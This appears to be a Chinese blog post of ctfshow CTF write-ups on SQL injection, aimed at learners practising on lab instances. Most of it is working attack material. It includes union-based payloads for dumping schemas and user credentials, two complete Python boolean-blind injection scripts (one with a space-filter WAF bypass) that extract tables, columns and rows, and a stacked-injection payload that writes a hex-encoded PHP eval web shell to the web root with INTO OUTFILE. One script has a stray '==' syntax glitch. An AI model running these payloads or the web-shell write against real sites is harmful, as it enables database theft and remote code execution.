渗透测试基础ctfshow——Web应用安全与防护(五)

第五章 SQL注入漏洞与防护

  • 本文围绕SQL注入在实战中的多种利用方式展开,内容涵盖联合查询注入、布尔盲注爆破、堆叠注入写Shell以及WAF绕过等核心技术,同时结合绕过方法与漏洞原理进行分析,并配合官方WP思路整理实现路径,适用于CTF与渗透测试基础到进阶阶段的学习与复现。

文章目录


联合查询注入

适合纯新手入门使用,难度极低。

打开网页:

发现许多超链接,随便点几个,发现是根据id 进行查找:


所以这里测试一下他是什么SQL注入:

绕过方法

如果想了解如何进行SQL注入,可以看该专栏:

这里有两种方法可以得到结果:

  • sqlmap脚本注入;
  • 手动测试注入;

这里我个人倾向于手动注入

(1)这里测试了一下,发现使用单引号'双引号" 等就不会显示出查询结果:

所以这里判断为"字符型闭合"

(2)测试一下回显位:

bash 复制代码
?id=-1 union select 1,2,3 -- da

# 查看当前数据库
?id=-1 union select 1,2,database() -- da

得到结果,三个位置均可回显;

(3)接下来就很熟悉的注入语句:

bash 复制代码
# 遍历所有数据库
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata -- da

# 查表
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow_page_informations' -- da

# 查列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_page_informations' and table_name='pages' -- da

# 详细字段
?id=-1 UNION SELECT 1,username,password FROM users -- da

数据库:ctfshow_page_informations

表名:pagesusers

列名:

bash 复制代码
- id,username,password
- id,title,content

因为不知道flag在哪里,所以分别查看:


users查询字段,得到flag:

布尔盲注爆破

打开页面,发现是一个登陆界面:

这里随便输入数据,然后抓包看看:

绕过方法

还是两种方法:sqlmap脚本或者手动注入

这里发现不论输入什么都是返回同一结果:

此时面对这种情况,有两个可能绕过:

  • 报错注入
  • 布尔盲注

这里首先测试一下报错注入

使用两个payload:

bash 复制代码
username=-1' union select 1,2,3 #&password=123
username=-1 union select 1,2,3 #&password=123

发现返回结果不一样:

因为报错信息总是一样,并不能拿到什么有效结果,所以报错注入在这关失效;


官方WP

所以我们这里尝试布尔盲注

布尔判断情况

  • 登陆失败返回包含script
  • 登陆成功返回未知,这里盲猜不含script

布尔盲注脚本

bash 复制代码
# exp.py
import requests
import string

URL = "http://localhost:5055/login.php"

FAIL = "script" # 登录失败时的响应头

def send_payload(payload):
    data = {
        "username": payload,
        "password": "anything"
    }
    resp = requests.post(URL, data=data, allow_redirects=False)
    return resp.text.find(FAIL) == -1

def get_length(payload_template, min_len=1, max_len=100):
    for l in range(min_len, max_len):
        payload = payload_template.format(l)
        if send_payload(payload):
            return l
    return None

def get_string(payload_template, length):
    result = ""
    chars = string.ascii_letters + string.digits + "_{}@.-,! "
    for i in range(1, length+1):
        for c in chars:
            payload = payload_template.format(i, c)
            if send_payload(payload):
                result += c
                print(f"\r{result}", end="", flush=True)
                break
    print()
    return result

def get_table_names():
    print("[*] Getting table name length...")
    length = get_length("admin' and (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())={};#---")
    print(f"[*] Table names length: {length}") ==

    print("[*] Getting table names...")
    names = get_string("admin' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))=ascii('{}');#---", length)
    print(f"[*] Table names: {names.split(',')}")
    return names.split(',')

def get_column_names(table):
    print(f"[*] Getting column names length for {table}...")
    length = get_length(f"admin' and (select length(group_concat(column_name)) from information_schema.columns where table_name='{table}')={{}};#---")
    print(f"[*] Column names length: {length}")

    print(f"[*] Getting column names for {table}...")
    names = get_string(f"admin' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='{table}'),{{}},1))=ascii('{{}}');#---", length)
    print(f"[*] Column names: {names}")
    return names.split(',')

def get_field(table, column, row=0):
    print(f"[*] Getting length of {column} in {table} row {row}...")
    length = get_length(f"admin' and (select length({column}) from {table} limit {row},1)={{}};#---", max_len=256)
    print(f"[*] Field length: {length}")

    if length is None:
        print(f"[!] Cannot determine length for {column} in {table} row {row}, skipping.")
        return ""

    print(f"[*] Getting value of {column} in {table} row {row}...")
    value = get_string(f"admin' and ascii(substr((select {column} from {table} limit {row},1),{{}},1))=ascii('{{}}');#---", length)
    print(f"[*] Value: {value}")
    return value

if __name__ == "__main__":
    # 1. 获取所有表名
    tables = get_table_names()

    # 2. 获取每个表的列名
    for table in tables:
        columns = get_column_names(table)
        # 3. 获取每个表的每个字段内容
        for col in columns:
            for row in range(2): #获取前2行
                get_field(table, col, row)
  • 最终flag:
    • CTF{bool_sql_injection_is_fun}

堆叠注入写Shell

适合纯新手入门使用,难度极低。

打开页面,还是和之前一样:

抓包测试一下:

漏洞原理

  • 原理:利用分号(;)将多条SQL语句分隔开来,使数据库服务器能够依次执行这些串接的恶意语句。
    • 函数:使此漏洞成立的后端核心函数通常是 mysqli_multi_query()PDO::query() 等支持执行多条语句的API;

绕过方法

由于过滤了单引号无法直接闭合,这里使用转义符绕过单引号限制:

这里对一句话木马进行Hex编码尝试进行绕过:

bash 复制代码
# 一句话木马
<?php eval($_POST[cmd]);?>

# payload
password=;select 0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e into outfile "/var/www/html/1.php";%23 &username=admin\

结果如下:

随后访问 1.php,成功写入一句话木马:

执行命令,拿到flag:

WAF绕过

打开页面,进行抓包:

(页面与 布尔盲注爆破 一模一样)

官方WP

经过测试,发现过滤了空格

直接注释绕过,完整脚本:

  • 代码都是差不多的,多了payload = payload.replace(" ", "/*!*/") 而已;
bash 复制代码
# exp.py
import requests
import string

URL = "http://localhost:5055/login.php"

FAIL = "script" # 登录失败时的响应头

def send_payload(payload):
    payload = payload.replace(" ", "/*!*/")  # 绕过空格过滤
    data = {
        "username": payload,
        "password": "anything"
    }
    resp = requests.post(URL, data=data, allow_redirects=False)
    return resp.text.find(FAIL) == -1

def get_length(payload_template, min_len=1, max_len=100):
    for l in range(min_len, max_len):
        payload = payload_template.format(l)
        if send_payload(payload):
            return l
    return None

def get_string(payload_template, length):
    result = ""
    chars = string.ascii_letters + string.digits + "_{}@.-,! "
    for i in range(1, length+1):
        for c in chars:
            payload = payload_template.format(i, c)
            if send_payload(payload):
                result += c
                print(f"\r{result}", end="", flush=True)
                break
    print()
    return result

def get_table_names():
    print("[*] Getting table name length...")
    length = get_length("admin' and (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())={};#---")
    print(f"[*] Table names length: {length}")

    print("[*] Getting table names...")
    names = get_string("admin' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))=ascii('{}');#---", length)
    print(f"[*] Table names: {names.split(',')}")
    return names.split(',')

def get_column_names(table):
    print(f"[*] Getting column names length for {table}...")
    length = get_length(f"admin' and (select length(group_concat(column_name)) from information_schema.columns where table_name='{table}')={{}};#---")
    print(f"[*] Column names length: {length}")

    print(f"[*] Getting column names for {table}...")
    names = get_string(f"admin' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='{table}'),{{}},1))=ascii('{{}}');#---", length)
    print(f"[*] Column names: {names}")
    return names.split(',')

def get_field(table, column, row=0):
    print(f"[*] Getting length of {column} in {table} row {row}...")
    length = get_length(f"admin' and (select length({column}) from {table} limit {row},1)={{}};#---", max_len=256)
    print(f"[*] Field length: {length}")

    if length is None:
        print(f"[!] Cannot determine length for {column} in {table} row {row}, skipping.")
        return ""

    print(f"[*] Getting value of {column} in {table} row {row}...")
    value = get_string(f"admin' and ascii(substr((select {column} from {table} limit {row},1),{{}},1))=ascii('{{}}');#---", length)
    print(f"[*] Value: {value}")
    return value

if __name__ == "__main__":
    # 1. 获取所有表名
    tables = get_table_names()

    # 2. 获取每个表的列名
    for table in tables:
        columns = get_column_names(table)
        # 3. 获取每个表的每个字段内容
        for col in columns:
            for row in range(2):
                get_field(table, col, row)
  • 最终flag:
    • CTF{bool_sql_injection_bypass_is_fun}

总结

本章主要是讲解SQL注入漏洞与防护,都是些比较基础的知识;

相关推荐
●VON10 小时前
鸿蒙Flutter实战:分类管理页BottomSheet CRUD
数据库·flutter·华为·harmonyos·鸿蒙
Cosolar10 小时前
Chroma向量库面试学习指南
数据库·人工智能·面试·职场和发展·数据库架构
2301_8090511410 小时前
Linux 网络编程 学习笔记
linux·网络·学习
wanhengidc10 小时前
服务器租用有何优点
运维·服务器·安全·web安全
Csvn10 小时前
OpenSpec 详细使用教程
前端
csdn_aspnet11 小时前
Gemini赋能安全工程师,自动写PoC脚本,探索Gemini在网络安全领域辅助漏洞验证与POC生成的实战路径
安全·web安全·prompt·poc·gemini·工程师
风吹夏回11 小时前
Python 全局异常处理:从“满屏 try-except”到优雅兜底
开发语言·python
Chengbei1111 小时前
一站式源码安全检测工具、云安全 / APP / 小程序源码敏感信息递归多层目录扫描AK、JWT、手机号、身份证等敏感信息
java·开发语言·安全·web安全·网络安全·系统安全·安全架构
小熊Coding11 小时前
Python爬取当当网二手图书项目实战!
开发语言·爬虫·python·beautifulsoup·requests·二手图书
企服AI产品测评局11 小时前
Agent适配信创环境实测:企业级自动化如何实现国产操作系统与数据库全兼容?
运维·数据库·人工智能·ai·chatgpt·自动化